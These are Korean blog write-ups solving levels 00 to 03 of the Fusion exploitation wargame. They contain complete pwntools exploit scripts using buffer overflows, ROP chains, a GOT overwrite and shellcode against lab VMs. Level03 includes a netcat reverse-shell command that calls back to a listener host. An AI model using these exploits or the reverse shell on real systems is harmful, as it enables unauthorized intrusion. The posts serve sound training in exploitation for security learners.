wargame/exploit exercise - fusion
- wargame - fusion / level03 2017.02.27
- wargame - fusion / level02 2016.12.29
- wargame - fusion / level01 2016.12.28
- wargame - fusion / level00 2013.09.23 2
wargame - fusion / level03
LEVEL03
level03 이다. 적용된 기법은 아래와 같이 NX 정도이다.
>>> print e.checksec()
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
RPATH: '/opt/fusion/lib'
FORTIFY: Enabled
소스코드를 보면 아래와 같이 토큰을 하나 생성해서 보내고, 입력값을 받는데 이때 토큰값을 검증한다. 그 후에 입력된 주소로 해당 내용을 전송해 준다.
입력값을 받을 때 한가지 특징으로 한번 입력 후 곧바로 close(0,1,2) 를 해주고 있어서 write(4, leak주소, 4) 이런 식의 payload 사용은 어려움. 소켓이 닫혀버리니까
또 한가지 특징으로 입력값 검증을 하는데, 첫번째로 token 이 가장 앞에 있는지 확인한다.
두번째로 해쉬값을 비교하여 처음 두 바이트가 0x00 인지 확인한다.
검증이 끝난 후 json 형식을 파싱해주는 과정에서 취약점이 발생하는데, 해당 부분은 아래 코드이다.
결론부터 말하면 while 구문 내부의 조건식이
1) src 가 널바이트가 아니고
&&
2) dest 가 end 랑 다르면
이기 때문이다. 즉 둘중 하나의 조건만 만족하지 않으면 계속 복사를 하게 된다는 뜻이다.
소스를 보면 "\\u" 가 있으면 dest 를 case '\\' 문에서 한번 증가시키고, 'u' 에서 또 증가시키면서
dest 와 end 가 계속 달라지게 된다. 이로 인해 src 가 널바이트가 될 때까지 계속 복사를 하게 되고
실질적으로 strcpy 처럼 스택을 덮어쓰게 된다.
먼저 validate 함수를 우회하기 위하여 공격 payload 에 임의의 숫자값을 for 문으로 돌려서 0x00, 0x00 이 나오는 해쉬값을 찾도록 해준다.
def find_collision(token, payload): i = 0 while 1: json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC) tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest() if tmp_hmac[0:2] == "\x00"*2: log.success("found collision request : %s" % json_req) return json_req break i += 1
다음은 eip 변조 테스트.
buf = "A"*127 + "\\\\ua" + "A"*34 + "BBBB" # 34 + eip
req_col = find_collision(token, buf)
r.send(req_col)
gdb$ --------------------------------------------------------------------------[regs] EAX: 0xFFFFFFFF EBX: 0x41414141 ECX: 0xB7562398 EDX: 0xFFFFFFFF o d I t S z a P c ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFDAB66C EIP: 0x08049E08 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B [0x007B:0xBFDAB66C]------------------------------------------------------[stack] 0xBFDAB6BC : 10 00 00 00 F4 0F 56 B7 - 55 BC 41 B7 19 A2 04 08 ......V.U.A..... 0xBFDAB6AC : 02 00 4E 23 00 00 00 00 - 00 00 00 00 00 00 00 00 ..N#............ 0xBFDAB69C : 02 00 FF C4 C0 A8 E7 01 - 00 00 00 00 00 00 00 00 ................ 0xBFDAB68C : 0B 90 04 08 0D 00 00 00 - 01 00 00 00 FF FF FF FF ................ 0xBFDAB67C : 00 00 00 00 04 00 00 00 - 98 B6 DA BF 02 00 00 00 ................ 0xBFDAB66C : 42 42 42 42 04 00 00 00 - 00 00 00 00 02 00 00 00 BBBB............ --------------------------------------------------------------------------[code] => 0x8049e08 <handle_request+264>: ret 0x8049e09 <handle_request+265>: lea esi,[esi+eiz*1+0x0] 0x8049e10 <handle_request+272>: mov DWORD PTR [esp+0x4ac],0x80 0x8049e1b <handle_request+283>: mov DWORD PTR [esp],ebx 0x8049e1e <handle_request+286>: call 0x8048da0 <json_object_get_string@plt> 0x8049e23 <handle_request+291>: lea edx,[esp+0x4ac] 0x8049e2a <handle_request+298>: mov DWORD PTR [esp+0x8],edx 0x8049e2e <handle_request+302>: lea edx,[esp+0x42c] -------------------------------------------------------------------------------- 0x08049e08 in handle_request () at level03/level03.c:193 193 in level03/level03.c gdb$ --------------------------------------------------------------------------[regs] EAX: 0xFFFFFFFF EBX: 0x41414141 ECX: 0xB7562398 EDX: 0xFFFFFFFF o d I t S z a P c ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFDAB670 EIP: 0x42424242 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop: Cannot access memory at address 0x42424242 0x42424242 in ?? ()
정확하게 0x42424242 로 변조가 되는 것을 확인했다. 이제 ROP 를 하면 되는데.. 널바이트가 들어가면 안되기 때문에 pwntools 를
이용한 rop 는 조금 제약이 있었다.
여러번 삽질 후 세운 payload 는 아래와 같다.
1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)
2) memcpy 로 bss 에 system 인자값 쓰기
memcpy(bss+4,gContents,4) // gContents = 0x804bdf4 => 0x900e5c8 (이중포인터)
3) srand plt(system) 호출
srand@plt(bss+8) // reverse nc command
은 실패했다.
실패한 이유는 gContents 가 이중포인터라 실패.. mov 로 값을 꺼내주려고 하니 마땅한 가젯이 없음..
아래와 같이 leave ret 를 이용한 fake ebp 를 이용하여 공격에 성공했다. stack frame 을 bss 에 다시 구성해주고,
leave 명령을 이용하여 ebp 를 bss 로 변경해준다. 그리고 system 함수로 return 하여 reverse connection 실행!
1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)
2) memcpy 로 bss 에 srand@plt, command 쓰기
memcpy(bss, srand@plt,4)
memcpy(bss+8, gContents, len(cmd))
3) leave 를 이용하여 fake ebp
ebp 를 미리 조작하고, leave 명령을 이용하여 esp 를 변경, 미리 복사한 bss 영역으로 stack frame 변조
4) srand plt(system) 호출
srand@plt(bss+8) // reverse nc command
아래는 전체 exploit 코드이다. pwntools 를 쓰기 위해 노력했으나(pwntools 연습중이니..) 이번 문제의 경우 수작업 rop
가 필요하여 생각보다 활용도가 낮았다. 다만 e.bss(), e.plt[], e.got[], e.symbols[] 등은 유용했다.
#!/usr/bin/python import hmac import hashlib import json from pwn import * context(arch='i386',os='linux') r = remote("192.168.231.128",20003) e = ELF('../bin/level03') rop = ROP(e) s = ssh(host="192.168.231.128",user="fusion",port=22,password="godmode"
REVERSE_NC = "nc.traditional -e /bin/sh 192.168.231.1 7777"
def find_collision(token, payload): i = 0 while 1: json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC) tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest() if tmp_hmac[0:2] == "\x00"*2: log.success("found collision request : %s" % json_req) return json_req break i += 1 log.info("fusion level03 exploit by hyunmini") token = r.recv(1024).strip().strip('"') log.info("get token : %s" % token) # exploit condition # eip control breakpoint : 0x8049e04 <handle_request+260>: # control reg : ebx, esi, edi, ebp buf = "A"*127 + "\\\\ua" + "A"*34 # 34 + eip # srand got =+ system offset (0x9b60) => srand@plt = system() rop = p32(0x08049b4f) # pop eax ; add esp, 0x5c ; ret // eax = 0x9b60 rop += '\\\u609b\\\u0000' rop += "A"*0x5c rop += p32(0x08049a4f) # pop ebx ; ret // ebx rop += p32(e.got['srand'] - 0x5d5b04c4 & 0xffffffff) rop += p32(0x080493fe) # add dword ptr [ebx + 0x5d5b04c4], eax ; ret) # memcpy(bss+4, srand@plt, 4) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss()) rop += p32(e.got['srand']) rop += '\\\u0400\\\u0000' # memcpy(bss+8, gContents, len(cmd)) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss(8)) rop += p32(e.symbols['gContents']) rop += '\\\u0400\\\u0000' # fake ebp rop += p32(0x8049205) # pppr rop += p32(e.bss()-4) * 3 rop += p32(0x8049431) # leave, ret payload = buf + rop req_col = find_collision(token, payload) r.send(req_col)
# ./ex3_exploit.py // exploit 성공
hyunmini:solve $ nc -lv 7777
id
uid=20003 gid=20003 groups=20003
uname -a
Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux
'wargame > exploit exercise - fusion' 카테고리의 다른 글
wargame - fusion / level02 (0) | 2016.12.29 |
---|---|
wargame - fusion / level01 (0) | 2016.12.28 |
wargame - fusion / level00 (2) | 2013.09.23 |
wargame - fusion / level02
LEVEL02
level02 는 NX, ASLR 이 걸려있으며, 기본적인 난독화 및 수학 관련 문제라는 힌트가 주어진다.
NX 때문에 쉘코드를 직접 실행하기는 어려우며, ROP 를 이용해야 한다. 단순히 개인적인 정리용도의 풀이이므로 ROP 등을 정리하지는 않는다.
한줄로 설명하면 고전적인 RTL 기법을 발전시켜서 연속적인 Gadget (Ret 로 끝나는 코드 조각) 들을 실행시키는 기법이다. 최근 문제는 대부분 ROP 가 기본으로 들어가는 경우가 많다.
취약점 확인
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | void encrypt_file() { // http://thedailywtf.com/Articles/Extensible-XML.aspx // maybe make bigger for inevitable xml-in-xml-in-xml ? unsigned char buffer[32 * 4096]; unsigned char op; size_t sz; int loop; printf("[-- Enterprise configuration file encryption service --]\n"); loop = 1; while(loop) { nread(0, &op, sizeof(op)); switch(op) { case 'E': // E 자가 입력되면 nread(0, &sz, sizeof(sz)); // 입력받을 사이즈 지정 nread(0, buffer, sz); // 내용 입력, 취약 cipher(buffer, sz); // 입력된 내용 암호화 printf("[-- encryption complete. please mention " "474bd3ad-c65b-47ab-b041-602047ab8792 to support " "staff to retrieve your file --]\n"); nwrite(1, &sz, sizeof(sz)); // 암호화 사이즈 출력 nwrite(1, buffer, sz); // 암호화 내용 출력 break; case 'Q': loop = 0; break; default: exit(EXIT_FAILURE); } } } |
취약한 부분은 encrypt_file() 내부에서 발생하며, 정확한 지점은 고정된 buffer 에 동적으로 입력값 길이를 정해서 입력받는 아래 부분이다.
nread(0, buffer, sz);
간단히 확인해보면 crash 가 발생하는 것을 확인할 수 있다.
$ python -c "print 'E'+'\x14\x00\x02\x00'+'A'*0x20010+'B'*4+'Q'" | nc 192.168.231.128 20002
root@fusion:/opt/fusion/bin# dmesg | tail -2[54915.235279] level02[7797]: segfault at c754dba ip 0c754dba sp bf9d99b0 error 14[54927.307910] level02[7805]: segfault at 7ab5e3fe ip 7ab5e3fe sp bf9d99b0 error 14문제는 입력받은 버퍼를 바로 아랫줄에서 cipher(buffer, sz) 와 같이 암호화 하고 있다는 것이나, 함수를 살펴보면 간단하게 XOR 연산을 해주는 것임을 알 수 있다.key 값이 랜덤이지만, XOR 연산이기 때문에 0 과 XOR 연산을 수행하도록 해서 key 를 확인할 수 있다. 키 버퍼는 128 byte (XORSZ=32, *4) 이다. 첫번째 접속해서 128 바이트만큼 0을 입력해서 값을 받아오고, 키 버퍼를 받아온 후에 두번째 실제 payload 를 xor 해서 보내면 정상값이 들어갈 것이다.root@fusion:/opt/fusion/bin# dmesg | tail -1[55235.606684] level02[7847]: segfault at 42424242 ip 42424242 sp bf9d99b0 error 1이제 간단히 ROP 를 수행하면 된다. 아래는 전체 Exploit 코드이다.
#!/usr/bin/python
from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level01 exploit by hyunmini"
r = remote("192.168.231.128",20002)
e = ELF('./level02')
rop = ROP(e)
print r.recvuntil('--]\n')
op_start = "E"
op_size = "\x80\x00\x00\x00"
op_end = "Q"
payload = "\x00" * 0x80
print "[+] stage 0 : recv xor_key"
r.send(op_start + op_size + payload )
print r.recvuntil('--]\n')
print "eeee"
sleep(0.2)
bufcount = r.recvuntil('\x80\x00\x00\x00')
print "[+] buf count : %d" % u32(bufcount)
xor_buf = r.recv(128)
print hexdump(xor_buf)
def xor(buf, key):
result = ''
for i, enc in enumerate(buf):
result += chr(ord(enc)^ord(key[i % len(key)]))
print "encoding (%d:%d) bytes" % (len(buf), len(result))
return result
#-------------------------------------------#
print "[+] sending rop payload..."
payload2 = "A"*0x20010
# rop chain
cmd = "/bin/sh\x00"
rop.read(0,e.bss(),len(cmd))
rop.execve(e.bss(),0,0)
ropchain = rop.chain()
payload2 += ropchain
payload2 = xor(payload2, xor_buf)
op_size = p32(len(payload2))
r.send(op_start)
r.send(op_size)
r.send(payload2)
r.send(op_end)
r.send(cmd)
print "[*] finish !!"
r.interactive()
'wargame > exploit exercise - fusion' 카테고리의 다른 글
wargame - fusion / level03 (0) | 2017.02.27 |
---|---|
wargame - fusion / level01 (0) | 2016.12.28 |
wargame - fusion / level00 (2) | 2013.09.23 |
wargame - fusion / level01
LEVEL01
level01 은 level00 과 동일한 소스코드이지만 버퍼 주소를 출력해주지 않는다. 취약점 발생지점은 동일하므로 긴 설명이 필요없고,
동일한 공격방식이되 버퍼 주소값을 모를 때 어떻게 해야 하는가를 묻는 문제이다.
주소를 몰라도 바로 뒤로 점프하는 "trampoline techniques" 으로 불리는 jmp esp 등의 코드를 이용하면 된다.
[그림] 취약 함수
gdb-peda$ b *0x8049854 // 취약함수 ret 주소
gdb-peda$ set follow-fork-mode child // gdb fork() 자식 프로세스 디버깅
gdb-peda$ x/4i $eip-6
0x804984e : call 0x80489a0
0x8049853 : leave
=> 0x8049854 : ret
0x8049855 : push ebp
gdb-peda$ x/12x $esp // ret 직전의 스택, payload 가 정상적으로 입력된 것 확인
0xbffff32c: 0x08049f4f 0x16eb9090 0x00000000 0x00000004
0xbffff33c: 0x001761e4 0x001761e4 0x000027d8 0x20544547
0xbffff34c: 0x41414141 0x41414141 0x41414141 0x41414141
gdb-peda$ x/i 0x8049f4f // ret 실행 시 jmp esp 주소로 점프 ( ret = pop eip = ret 시점의 esp 주소)
0x8049f4f: jmp esp
gdb-peda$ x/4i 0xbffff32c+4 // jmp esp 후에 실행될 코드
0xbffff330: nop
0xbffff331: nop
0xbffff332: jmp 0xbffff34a
0xbffff334: add BYTE PTR [eax],al
gdb-peda$ x/4i 0xbffff34a // short jump 후 실행될 쉘코드 확인
0xbffff34a: push esp
0xbffff34b: and BYTE PTR [ecx+0x41],al
0xbffff34e: inc ecx
0xbffff34f: inc ecx
익스플로잇 코드
# ex_level01.py
from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level00 exploit by hyunmini"
r = remote("192.168.231.128",20001)
e = ELF('./level01')
rop = ROP(e)
shellcode = asm(shellcraft.dupsh(4))
jmp_esp = p32(e.search(asm("jmp esp")).next())
jmp = "\x90\x90\xeb\x16"
nop = "\x90"*60
payload = "GET " + "A"*139 + jmp_esp + jmp +" HTTP/1.1 " + nop + shellcode
r.send(payload)
print " [+] Success!! got shell"
r.interactive()
'wargame > exploit exercise - fusion' 카테고리의 다른 글
wargame - fusion / level03 (0) | 2017.02.27 |
---|---|
wargame - fusion / level02 (0) | 2016.12.29 |
wargame - fusion / level00 (2) | 2013.09.23 |
wargame - fusion / level00
Fusion
fusion 은 system wargame 중 하나이며 여러가지 우회 기법을 배울 수 있는 다양한 문제들을 제공한다.
연습을 위해 pwntools 및 angr 을 사용해서 풀어보기로 한다.
level 00
fusion@fusion:/opt/fusion/bin$ uname -a Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux |
fork() 를 수행하므로 ASLR 은 무시해도 된다.
소스코드를 분석해 보자. 문제가 되는 부분은 아래 fix_path 함수이다.
3int fix_path(char *path) 4{ 5 char resolved[128]; 6 7 if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open 8 strcpy(path, resolved); 9}
일반적으로 strcpy() 함수를 보고 취약하겠구나 라고 생각하겠지만, realpath() 함수 결과에 따라 NULL 이면 return
을 해버리고 있으므로 strcpy 는 실행조차 되지 않는다. 하지만 다행히도 realpath 함수 역시 bof 취약성이 존재한다.
해당 함수 내부에서 memcpy 를 호출하기 때문이다. 첫번째 인자값의 문자열을 두번째 인자값에 복사해 준다.
(원래 realpath 함수의 기능은 ../../ 등의 경로를 resolve 후 절대경로로 변환하여 저장 )
풀이
0 레벨이기 때문에 그냥 단순 bof 수준이다. Path 위치에 139 개가 들어가면 버퍼를 모두 덮어쓰고, RET 를 조작할 수 있다.
- 버퍼주소 : 출력된 버퍼 주소 사용
- 쉘코드 : asm(shellcraft.dupsh(4)) // 쉘을 실행시키고 dup 로 소켓에 fd 복제
# ex_level00.py
from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level00 exploit by hyunmini"
buffer_addr = p32(0xbff49498+160)
r = remote("192.168.231.128",20000)
print r.recv(1000)
e = ELF('./level00')
shellcode = asm(shellcraft.dupsh(4))
ret = buffer_addr
nop = "\x90"*60
#payload = "GET " + "A"*139 + "B"*4 +" HTTP/1.1 " + shellcode
payload = "GET " + "A"*139 + ret +" HTTP/1.1 " + shellcode
r.send(payload)
print " [+] Success!! got shell"
r.interactive()
hyunmini:fusion $ python ex_level00.py
[*] fusion level00 exploit by hyunmini
[+] Opening connection to 192.168.231.128 on port 20000: Done
[debug] buffer is at 0xbff49498 :-)
[*] '/Users/hyunmini/Desktop/wargame/fusion/level00'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
[+] Success!! got shell
[*] Switching to interactive mode
$
$ id
uid=20000 gid=20000 groups=20000
'wargame > exploit exercise - fusion' 카테고리의 다른 글
wargame - fusion / level03 (0) | 2017.02.27 |
---|---|
wargame - fusion / level02 (0) | 2016.12.29 |
wargame - fusion / level01 (0) | 2016.12.28 |